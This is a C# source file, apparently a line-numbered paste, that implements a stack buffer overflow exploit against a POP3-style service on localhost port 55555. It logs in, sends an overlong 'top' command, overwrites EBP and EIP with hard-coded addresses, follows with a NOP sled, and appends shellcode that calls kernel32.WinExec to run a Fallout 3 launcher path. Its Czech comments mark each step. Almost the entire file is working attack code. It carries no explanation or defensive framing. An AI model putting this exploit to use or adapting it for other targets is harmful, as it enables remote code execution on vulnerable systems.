1. using System.Net;
  2. using System.Net.Sockets;
  3. using System;
  4. using System.Numeric;
  5. using System.Collections.Generic;
  6. using System.Globalization;
  7.  
  8.  
  9. namespace Exploit {
  10. class Program {
  11. static void Main(string[] args) {
  12.  
  13.  
  14. IPEndPoint ipep =
  15. new IPEndPoint(IPAddress.Parse("127.0.0.1"), 55555);
  16. Socket server = new Socket(AddressFamily.InterNetwork,
  17. SocketType.Stream, ProtocolType.Tcp);
  18. server.Connect(ipep);
  19. System.Text.ASCIIEncoding encoding = new System.Text.ASCIIEncoding();
  20. string login = "user apiuser\r\n";
  21. string passwd = "passwd\r\n";
  22. string top = "top 1 123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234";
  23. string end = "\r\n";
  24. byte[] arrayS = new byte[20];
  25.  
  26. arrayS = StrToByteArray(login);
  27. server.Send(arrayS);
  28. arrayS = StrToByteArray(passwd);
  29. server.Send(arrayS);
  30. arrayS = StrToByteArray(top);
  31. server.Send(arrayS);
  32.  
  33. //prepis EBP
  34. String a = "0x01";
  35. String b = "0x01";
  36. String c = "0x01";
  37. String d = "0x01";
  38. Console.WriteLine();
  39. byte a1 = StringToByte(a);
  40. byte b1 = StringToByte(b);
  41. byte c1 = StringToByte(c);
  42. byte d1 = StringToByte(d);
  43. byte[] ahoj = new byte[] { a1, b1, c1, d1 };
  44. server.Send(ahoj);
  45.  
  46. //prepis EIP
  47. a = "0xF8";
  48. b = "0x03";
  49. c = "0xFA";
  50. d = "0x77";
  51. a1 = StringToByte(a);
  52. b1 = StringToByte(b);
  53. c1 = StringToByte(c);
  54. d1 = StringToByte(d);
  55. ahoj = new byte[] { a1, b1, c1, d1 };
  56. server.Send(ahoj);
  57.  
  58. a = "0x90";
  59. b = "0x90";
  60. c = "0x90";
  61. d = "0x90";
  62. a1 = StringToByte(a);
  63. b1 = StringToByte(b);
  64. c1 = StringToByte(c);
  65. d1 = StringToByte(d);
  66. ahoj = new byte[] { a1, b1, c1, d1 };
  67. server.Send(ahoj);
  68.  
  69. a = "0x90";
  70. b = "0x90";
  71. c = "0x90";
  72. d = "0x90";
  73. a1 = StringToByte(a);
  74. b1 = StringToByte(b);
  75. c1 = StringToByte(c);
  76. d1 = StringToByte(d);
  77. ahoj = new byte[] { a1, b1, c1, d1 };
  78. server.Send(ahoj);
  79.  
  80. a = "0x90";
  81. b = "0x90";
  82. c = "0x90";
  83. d = "0x90";
  84. a1 = StringToByte(a);
  85. b1 = StringToByte(b);
  86. c1 = StringToByte(c);
  87. d1 = StringToByte(d);
  88. ahoj = new byte[] { a1, b1, c1, d1 };
  89. server.Send(ahoj);
  90.  
  91. a = "0xB8";
  92. b = "0x09";
  93. c = "0xFA";
  94. d = "0x12";
  95. String e = "0x10";
  96. a1 = StringToByte(a);
  97. b1 = StringToByte(b);
  98. c1 = StringToByte(c);
  99. d1 = StringToByte(d);
  100. byte e1 = StringToByte(e);
  101. ahoj = new byte[] { a1, b1, c1, d1, e1 };
  102. server.Send(ahoj);
  103.  
  104. a = "0xB9";
  105. b = "0xFF";
  106. c = "0xFF";
  107. d = "0xFF";
  108. e = "0x80";
  109. a1 = StringToByte(a);
  110. b1 = StringToByte(b);
  111. c1 = StringToByte(c);
  112. d1 = StringToByte(d);
  113. e1 = StringToByte(e);
  114. ahoj = new byte[] { a1, b1, c1, d1, e1 };
  115. server.Send(ahoj);
  116.  
  117. a = "0x23";
  118. b = "0xC1";
  119. a1 = StringToByte(a);
  120. b1 = StringToByte(b);
  121. ahoj = new byte[] { a1, b1};
  122. server.Send(ahoj);
  123.  
  124. a = "0xBD";//adresa kernel32.WinExec
  125. b = "0xFF";
  126. c = "0x54";
  127. d = "0xF7";
  128. e = "0x77";
  129. a1 = StringToByte(a);
  130. b1 = StringToByte(b);
  131. c1 = StringToByte(c);
  132. d1 = StringToByte(d);
  133. e1 = StringToByte(e);
  134. ahoj = new byte[] { a1, b1, c1, d1, e1 };
  135. server.Send(ahoj);
  136.  
  137. a = "0xBE";// adresa kernel32 -> call ebp
  138. b = "0x7B";
  139. c = "0x82";
  140. d = "0xF2";
  141. e = "0x77";
  142. a1 = StringToByte(a);
  143. b1 = StringToByte(b);
  144. c1 = StringToByte(c);
  145. d1 = StringToByte(d);
  146. e1 = StringToByte(e);
  147. ahoj = new byte[] { a1, b1, c1, d1, e1 };
  148. server.Send(ahoj);
  149.  
  150. b = "0xFF";
  151. c = "0xE6";
  152. a = "0x50";
  153. a1 = StringToByte(a);
  154. b1 = StringToByte(b);
  155. c1 = StringToByte(c);
  156. ahoj = new byte[] { a1, b1, c1};
  157. server.Send(ahoj);
  158.  
  159. String load = "C:\\Program Files\\Bethesda Softworks\\Fallout 3\\FalloutLauncher";
  160.  
  161. arrayS = StrToByteArray(load);
  162. server.Send(arrayS);
  163. Console.Write("Sended: " + encoding.GetString(arrayS));
  164.  
  165. arrayS = StrToByteArray(end);
  166. server.Send(arrayS);
  167. Console.Write("Sended: " + encoding.GetString(arrayS));
  168.  
  169. server.Close();
  170.  
  171. }
  172. public static byte[] StrToByteArray(string str) {
  173. System.Text.ASCIIEncoding encoding = new System.Text.ASCIIEncoding();
  174. return encoding.GetBytes(str);
  175. }
  176. public static byte StringToByte(String hex) {
  177. int cislo;
  178. String mensi = hex.Substring(3);
  179. String vetsi = hex.Substring(2,1);
  180. switch (mensi) {
  181. case "A": {
  182. cislo = 10;
  183. break; }
  184. case "B": {
  185. cislo = 11;
  186. break; }
  187. case "C": {
  188. cislo = 12;
  189. break; }
  190. case "D": {
  191. cislo = 13;
  192. break; }
  193. case "E": {
  194. cislo = 14;
  195. break; }
  196. case "F": {
  197. cislo = 15;
  198. break; }
  199. default:{
  200. cislo = Int32.Parse(mensi);
  201. break;}
  202. }
  203. switch (vetsi) {
  204. case "A": {
  205. cislo += 10*16;
  206. break;
  207. }
  208. case "B": {
  209. cislo += 11*16;
  210. break;
  211. }
  212. case "C": {
  213. cislo += 12*16;
  214. break;
  215. }
  216. case "D": {
  217. cislo += 13*16;
  218. break;
  219. }
  220. case "E": {
  221. cislo += 14*16;
  222. break;
  223. }
  224. case "F": {
  225. cislo += 15*16;
  226. break;
  227. }
  228. default: {
  229. cislo += Int32.Parse(vetsi)*16;
  230. break;
  231. }
  232. }
  233. return (byte)cislo;
  234. }
  235. }
  236. }
  237.